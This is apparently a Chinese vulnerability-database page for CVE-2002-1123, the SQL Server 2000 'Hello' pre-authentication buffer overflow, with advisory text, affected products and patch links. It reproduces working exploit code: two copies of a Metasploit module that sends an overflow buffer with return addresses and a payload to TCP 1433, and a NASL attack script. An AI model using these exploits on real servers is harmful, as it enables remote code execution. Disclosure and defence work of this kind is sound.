CVE-2002-1123
CVSS7.5
发布时间 :2002-09-24 00:00:00
修订时间 :2016-10-17 22:23:52
NMCOEPS    

[原文]Buffer overflow in the authentication function for Microsoft SQL Server 2000 and Microsoft Desktop Engine (MSDE) 2000 allows remote attackers to execute arbitrary code via a long request to TCP port 1433, aka the "Hello" overflow.


[CNNVD]Microsoft SQL Server预验证过程远程缓冲区溢出漏洞(MS02-056)(CNNVD-200209-058)

        
        Microsoft SQL Server是一款由Microsoft开发的大型数据库系统。
        Microsoft SQL Server在预验证处理时存在漏洞,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        Microsoft SQL Server的预验证过程存在问题,远程攻击者通过连接TCP 1433端口可以进行缓冲区溢出攻击,由于问题发生在验证之前,所以攻击这无需验证就可以进行攻击,可能使攻击者以SQL进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:sql_server:2000Microsoft SQL Server 2000
cpe:/a:microsoft:data_engine:2000Microsoft data_engine 2000
cpe:/a:microsoft:sql_server:2000:sp2Microsoft SQLServer 2000 Service Pack 2
cpe:/a:microsoft:sql_server:2000:sp1Microsoft SQLServer 2000 Service Pack 1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1123
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1123
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200209-058
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=102873609025020&w=2
(UNKNOWN)  BUGTRAQ  20020807 MS SQL Server Hello Overflow NASL script
http://online.securityfocus.com/archive/1/286220
(UNKNOWN)  BUGTRAQ  20020806 SPIKE 2.5 and associated vulns
http://www.ciac.org/ciac/bulletins/n-003.shtml
(UNKNOWN)  CIAC  N-003
http://www.iss.net/security_center/static/9788.php
(VENDOR_ADVISORY)  XF  mssql-preauth-bo(9788)
http://www.microsoft.com/technet/security/bulletin/ms02-056.asp
(UNKNOWN)  MS  MS02-056
http://www.securityfocus.com/bid/5411
(UNKNOWN)  BID  5411

- 漏洞信息

Microsoft SQL Server预验证过程远程缓冲区溢出漏洞(MS02-056)
高危 边界条件错误
2002-09-24 00:00:00 2006-09-01 00:00:00
远程  
        
        Microsoft SQL Server是一款由Microsoft开发的大型数据库系统。
        Microsoft SQL Server在预验证处理时存在漏洞,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        Microsoft SQL Server的预验证过程存在问题,远程攻击者通过连接TCP 1433端口可以进行缓冲区溢出攻击,由于问题发生在验证之前,所以攻击这无需验证就可以进行攻击,可能使攻击者以SQL进程权限在系统上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 在防火墙或者服务器上禁止不可信IP访问SQL Server服务端口
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS02-056)以及相应补丁:
        MS02-056:Cumulative Patch for SQL Server (Q316333)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS02-056.asp

        补丁下载:
         * Microsoft SQL Server 7.0:
        
        http://support.microsoft.com/default.aspx?scid=kb;en-us;Q327068&sd=tech

         * Microsoft SQL Server 2000:
        
        http://support.microsoft.com/default.aspx?scid=kb;en-us;Q316333&sd=tech

- 漏洞信息 (16398)

Microsoft SQL Server Hello Overflow (EDBID:16398)
windows remote
2010-04-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: ms02_056_hello.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SQL Server Hello Overflow',
			'Description'    => %q{
					By sending malformed data to TCP port 1433, an
				unauthenticated remote attacker could overflow a buffer and
				possibly execute code on the server with SYSTEM level
				privileges. This module should work against any vulnerable
				SQL Server 2000 or MSDE install (< SP3).

			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2002-1123'],
					[ 'OSVDB', '10132'],
					[ 'BID', '5411'],
					[ 'MSB', 'MS02-056'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'MSSQL 2000 / MSDE <= SP2',
						{
							'Platform' => 'win',
							'Rets'     => [0x42b68aba, 0x42d01e50],
						},
					],
				],
			'Platform'       => 'win',
			'DisclosureDate' => 'Aug 5 2002',
			'DefaultTarget' => 0))
	end

	def check
		info = mssql_ping
		if (info['ServerName'])
			print_status("SQL Server Information:")
			info.each_pair { |k,v|
				print_status("   #{k + (" " * (15-k.length))} = #{v}")
			}
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
			"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
			"\x10\x00\x00\x00" +
			rand_text_english(528, payload_badchars) +
			"\x1B\xA5\xEE\x34" +
			rand_text_english(4, payload_badchars) +
			[ target['Rets'][0] ].pack('V') +
			[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
			'3333' +
			[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
			rand_text_english(88, payload_badchars) +
			payload.encoded +
			"\x00\x24\x01\x00\x00"

		sock.put(buf)

		handler
		disconnect
	end

end
		

- 漏洞信息 (21693)

Microsoft SQL Server 2000 User Authentication Remote Buffer Overflow Vulnerability (EDBID:21693)
windows remote
2002-08-06 Verified
0 Dave Aitel
N/A [点击下载]
source: http://www.securityfocus.com/bid/5411/info

A vulnerability has been discovered in Microsoft SQL Server that could make it possible for remote attackers to gain access to target hosts.

It is possible for an attacker to cause a buffer overflow condition on the vulnerable SQL server with a malformed login request. This may allow a remote attacker to execute arbitrary code as the SQL Server process.

This vulnerability reportedly occurs even before authentication can proceed.

##
#
# this script tests for the "You had me at hello" overflow
# in MSSQL (tcp/1433)
# Copyright Dave Aitel (2002)
# Bug found by: Dave Aitel (2002)
#
##
#TODO:
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!


if(description)
{
 script_id(11067);
# script_cve_id("CVE-2000-0402");
 script_version ("$Revision: 0.1 $");
 name["english"] = "Microsoft SQL Server Hello Overflow";
 script_name(english:name["english"]);
 
 desc["english"] = "
The remote MS SQL server is vulnerable to the Hello overflow.

An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM, 
as well as read your database content. 

Solution : disable this service (Microsoft SQL Server).

Risk factor : High";

 script_description(english:desc["english"]);
 
 summary["english"] = "Microsoft SQL Server Hello Overflow";
 script_summary(english:summary["english"]);
 
 script_category(ACT_ATTACK);
 
 script_copyright(english:"This script is Copyright (C) 2002 Dave Aitel");
 family["english"] = "Windows";
 script_family(english:family["english"]);
 script_require_ports(1433); 
 exit(0);
}

#
# The script code starts here
#
#taken from mssql.spk
pkt_hdr = raw_string(
0x12 ,0x01 ,0x00 ,0x34 ,0x00 ,0x00 ,0x00 ,0x00  ,0x00 ,0x00 ,0x15 ,0x00 ,0x06 ,0x01 ,0x00 ,0x1b
,0x00 ,0x01 ,0x02 ,0x00 ,0x1c ,0x00 ,0x0c ,0x03  ,0x00 ,0x28 ,0x00 ,0x04 ,0xff ,0x08 ,0x00 ,0x02
,0x10 ,0x00 ,0x00 ,0x00
);

#taken from mssql.spk
pkt_tail = raw_string (
0x00 ,0x24 ,0x01 ,0x00 ,0x00
);

#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
port = 1433;
found = 0;
report = "The SQL Server is vulnerable to the Hello overflow.

An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM,
as well as read your database content.

Solution : disable this service (Microsoft SQL Server).

Risk factor : High";


if(get_port_state(port))
{
    soc = open_sock_tcp(port);

    if(soc)
    {
    	#uncomment this to see what normally happens
        #attack_string="MSSQLServer";
	#uncomment next line to actually test for overflow
	attack_string=crap(560);
        # this creates a variable called sql_packet
	sql_packet = pkt_hdr+attack_string+pkt_tail;
	send(socket:soc, data:sql_packet);

	    r  = recv(socket:soc, length:4096);
	    close(soc);
	display ("Result:",r,"\n");
	   if(!r)
	    {
	     display("Security Hole in MSSQL\n");
            security_hole(port:port, data:report);
	    }
    }
}		

- 漏洞信息 (F83182)

Microsoft SQL Server Hello Overflow (PacketStormID:F83182)
2009-11-26 00:00:00
MC  metasploit.com
exploit,remote,overflow,tcp
CVE-2002-1123
[点击下载]

By sending malformed data to TCP port 1433, an unauthenticated remote attacker could overflow a buffer and possibly execute code on the server with SYSTEM level privileges. This Metasploit module should work against any vulnerable SQL Server 2000 or MSDE install (< SP3).

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft SQL Server Hello Overflow',
			'Description'    => %q{
				By sending malformed data to TCP port 1433, an
				unauthenticated remote attacker could overflow a buffer and
				possibly execute code on the server with SYSTEM level
				privileges. This module should work against any vulnerable
				SQL Server 2000 or MSDE install (< SP3).
					
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2002-1123'],
					[ 'OSVDB', '10132'],
					[ 'BID', '5411'],
					[ 'MSB', 'MS02-056'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        => 
				[
					[ 
						'MSSQL 2000 / MSDE <= SP2',
						{
							'Platform' => 'win',
							'Rets'     => [0x42b68aba, 0x42d01e50],
						},
					],
				],
			'Platform'       => 'win',
			'DisclosureDate' => 'Aug 5 2002',
			'DefaultTarget' => 0))
	end
	
	def check
		info = mssql_ping
		if (info['ServerName'])
			print_status("SQL Server Information:")
			info.each_pair { |k,v|
				print_status("   #{k + (" " * (15-k.length))} = #{v}")
			}
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
		      "\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
			  "\x10\x00\x00\x00" +
			  rand_text_english(528, payload_badchars) +
			  "\x1B\xA5\xEE\x34" + 
			  rand_text_english(4, payload_badchars) +
			  [ target['Rets'][0] ].pack('V') +
			  [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
			  '3333' +
			  [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
		      rand_text_english(88, payload_badchars) +
			  payload.encoded +
			  "\x00\x24\x01\x00\x00"
			  
		sock.put(buf)
		
		handler
		disconnect
	end
	
end
    

- 漏洞信息

10132
Microsoft SQL Server Authentication Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in Microsoft SQL and MSDE. SQL & MSDE fail to perform proper bounds checking on port 1433 request resulting in a buffer overflow. With a specially crafted request, an attacker may be able to execute arbitrary code resulting in a loss of integrity.

- 时间线

2002-08-05 Unknow
2002-08-05 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Microsoft SQL Server User Authentication Remote Buffer Overflow Vulnerability
Boundary Condition Error 5411
Yes No
2002-08-06 12:00:00 2009-07-11 02:56:00
Reported by Dave Aitel <dave@immunitysec.com>.

- 受影响的程序版本

Microsoft SQL Server 2000 SP2
Microsoft SQL Server 2000 SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
Microsoft SQL Server 2000
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0
Microsoft Data Engine 2000
+ Akiva WebBoard 6.1
+ BindView bv-Admin for Microsoft Exchange
+ BindView bv-Admin for Windows 7.0
+ BindView bv-Admin for Windows Migration
+ BindView bv-control for Active Directory 7.0.2
+ BindView bv-Control for Internet Security 7.0.1
+ BindView bv-Control for Microsoft Exchange 7.0
+ BindView bv-Control for Microsoft SQL Server 7.0.1
+ BindView bv-Control for Microsoft SQL Server 7.0
+ BindView bv-Control for Windows 7.0.2
+ CARI-RUSCO Secure Perfect 3.0
+ CCH Equity Compliance Insider Reporting Module
+ Collins Medical Plus 2000
+ Computer Associates Unicenter
+ Computer Associates Unicenter RC/Update 6.1
+ Computer Associates Unicenter RC/Update 6.0
+ CSIRO BioLink Software 1.5
+ DATA.TXT Corporation Time Matters 4.0
+ DATA.TXT Corporation Time Matters 3.0
+ Dell OpenManage IT Assistant 6.0
+ Dell OpenManage IT Assistant 5.0
+ Express Metrix Express Software Manager 6.0.2
+ Express Metrix Express Software Manager 6.0.1
+ Express Metrix Express Software Manager 6.0
+ Express Metrix Express Software Manager 5.0
+ Fluke Networks Optiview Network Inspector 5.0
+ HP Openview Internet Services 4.5
+ HP Openview Internet Services 4.0
+ HP Openview Operations for Windows 7.1
+ HP Openview Operations for Windows 7.0
+ HP Openview Operations for Windows 6.0
+ HP Openview Reporter 3.0
+ HP Openview Reporter 2.0.2
+ ISI Infortel for Windows 5.4
+ ISI Infortel for Windows 5.2
+ ISI Infortel for Windows 5.1
+ ISI Infortel for Windows 4.0
+ Journyx Timesheet 5.0
+ Journyx Timesheet 4.6
+ Journyx Timesheet 4.5 m3
+ Journyx Timesheet 4.5 m2
+ Journyx Timesheet 4.5
+ Journyx Timesheet 2.0
+ Microsoft .NET Framework 1.1
+ Microsoft .NET Framework 1.0 SP1
+ Microsoft .NET Framework 1.0
+ Microsoft .NET Framework SDK 1.0
+ Microsoft Application Center 2000
+ Microsoft Biztalk Server 2002 Partner Edition 0
+ Microsoft FrontPage 2000 Server Extensions SR 1.3
+ Microsoft FrontPage 2000 Server Extensions SR 1.2
+ Microsoft FrontPage 2000 Server Extensions SR 1.1
+ Microsoft FrontPage 2000 Server Extensions SR 1.0
+ Microsoft Great Plains 5.5.1
+ Microsoft Great Plains 7.0
+ Microsoft Great Plains 5.5
+ Microsoft Great Plains 5.0
+ Microsoft Office 2000 SP2
+ Microsoft Office 2000 SP1
+ Microsoft Office 2000
+ Microsoft Office 2000 Chinese Version
+ Microsoft Office 2000 Japanese Version
+ Microsoft Office 2000 Korean Version
+ Microsoft Office XP SP1
+ Microsoft Office XP
+ Microsoft Office XP Developer Edition
+ Microsoft Project Central Server
+ Microsoft SharePoint Portal Server 2001 SP1
+ Microsoft SharePoint Portal Server 2001
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft SQL Server 2000 SP3
+ Microsoft SQL Server 2000 SP2
+ Microsoft SQL Server 2000 SP1
+ Microsoft SQL Server 2000
+ Microsoft Visio 2000 Enterprise Edition
+ Microsoft Visio Enterprise Network Tools
+ Microsoft Visual FoxPro 7.0 SP1
+ Microsoft Visual FoxPro 7.0
+ Microsoft Visual FoxPro 6.0
+ Microsoft Visual Studio .NET Academic Edition 0
+ Microsoft Visual Studio .NET Enterprise Architect Edition
+ Microsoft Visual Studio .NET Enterprise Developer Edition
+ Microsoft Visual Studio .NET Professional Edition
+ Microsoft Visual Studio .NET Trial Edition 0
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows XP Embedded SP1
+ Microsoft Windows XP Embedded
+ MIP NonProfit Series Pro 4.5
+ MIP NonProfit Series Pro 4.4
+ MIP NonProfit Series Pro 4.3
+ NetSupport NetSupport TCO 4.5.1
+ NetSupport NetSupport TCO 4.5
+ Network Associates SupportMagic SQL 4.5
+ Okena StormWatch
+ Peachtree Software Timeslips 11.0
+ Peachtree Software Timeslips 10.0
+ Peachtree Software Timeslips 9.0
+ Peachtree Software Timeslips 9.0
+ Peachtree Software Timeslips 8.0
+ Peachtree Software Timeslips 7.0
+ Peachtree Software Timeslips 6.0
+ QiNetix CommVault Galaxy 4.0.1
+ SalesLogix Corporation SalesLogix 2000.0
+ SmartMax Software MailMax 5.0
+ TeleStream FlipFactory 3.0
+ TeleStream FlipFactory 2.0
+ TeleStream FlipFactory 1.2
+ Veritas Software Backup Exec for Windows Servers 9.0
+ VIGILANTe SecureScan NX 2.5
+ Visionary Systems Firehouse Software 5.4
+ Visionary Systems Firehouse Software 5.0.2 5
+ Visionary Systems Firehouse Software 5.0
+ Visionary Systems Firehouse Software 3.0.5
+ Wonderware InTouch 7.11
+ Xerox CentreWare Web 1.0

- 漏洞讨论

A vulnerability has been discovered in Microsoft SQL Server that could make it possible for remote attackers to gain access to target hosts.

It is possible for an attacker to cause a buffer overflow condition on the vulnerable SQL server with a malformed login request. This may allow a remote attacker to execute arbitrary code as the SQL Server process.

This vulnerability reportedly occurs even before authentication can proceed.

- 漏洞利用

Reportedly, these issues may be exploited with the publically available Spike tool, available at the following URL:

http://www.immunitysec.com/spike.html

Additionally, a proof-of-concept NASL script has been released.

Exploit code (mssql2000_preauthentication.pm) has been released as part of the Metasploit Framework.

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

- 解决方案

Microsoft has revised their advisory. Microsoft recommends that users of SQL 2000 and MSDE 2000 apply the patch from MS02-061 which contains additional security fixes:


Microsoft SQL Server 2000

Microsoft SQL Server 2000 SP1

Microsoft SQL Server 2000 SP2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站